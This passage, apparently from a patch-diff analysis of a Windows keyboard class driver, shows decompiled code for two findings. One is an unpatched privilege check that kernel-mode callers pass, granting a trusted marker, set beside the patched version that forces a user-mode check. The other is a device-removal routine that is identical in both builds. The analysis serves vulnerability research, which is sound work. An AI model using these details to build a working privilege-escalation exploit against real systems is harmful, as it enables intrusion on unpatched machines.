&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SeSinglePrivilegeCheck&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;LUID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;7L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;RequestorMode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// KernelMode → TRUE&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PKSPIN_LOCK&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;160&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;CurrentStackLocation&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FileObject&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FsContext2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DriverEntry&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// grant trusted marker&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;++*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;80&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PKSPIN_LOCK&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;160&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED equivalent (sub_1400039F0) ---&lt;/span&gt;
&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CurrentStackLocation&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Flags&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                                 &lt;/span&gt;&lt;span class="c1"&gt;// SL_FORCE_ACCESS_CHECK&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;RequestorMode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                             &lt;/span&gt;&lt;span class="c1"&gt;// kernel caller asked for user check&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;sub_140005AB0&lt;/span&gt;&lt;span class="p"&gt;(...);&lt;/span&gt;&lt;span class="w"&gt;                                              &lt;/span&gt;&lt;span class="c1"&gt;// audit, then STATUS_ACCESS_DENIED&lt;/span&gt;
&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;CurrentStackLocation&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;Parameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Create&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Options&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;~&lt;/span&gt;&lt;span class="mi"&gt;1u&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_QWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;v8&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v9&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="n"&gt;RequestorMode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// FORCE UserMode&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="n"&gt;RequestorMode&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;RequestorMode&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SeSinglePrivilegeCheck&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;LUID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="mf"&gt;7L&lt;/span&gt;&lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RequestorMode&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// token actually checked&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;FileObject&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;FsContext2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub_140011080&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;// trusted marker&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding B — &lt;code&gt;KeyboardClassRemoveDevice&lt;/code&gt; (identical in both builds)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// --- UNPATCHED KeyboardClassRemoveDevice ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_InterlockedExchange&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;320&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// +0x140 state&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PKSPIN_LOCK&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;72&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// +0x48&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IRP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;296&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                                          &lt;/span&gt;&lt;span class="c1"&gt;// +0x128 WW IRP&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;304&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// +0x130 cancel flag&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;304&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PKSPIN_LOCK&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;72&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;IoCancelIrp&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_InterlockedExchange&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;320&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;// state := 2, old value&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;IofCompleteRequest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                                      &lt;/span&gt;&lt;span class="c1"&gt;// COMPLETE (not free)&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// --- PATCHED equivalent (sub_140001C60) — logically identical ---&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_InterlockedExchange&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;320&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;KeAcquireSpinLockRaiseToDpc&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PKSPIN_LOCK&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;72&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;IRP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;296&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v3&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_BYTE&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;304&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;// inverted branch only&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;KeReleaseSpinLock&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;PKSPIN_LOCK&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;72&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;_InterlockedExchange&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kr"&gt;__int32&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;a1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;320&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
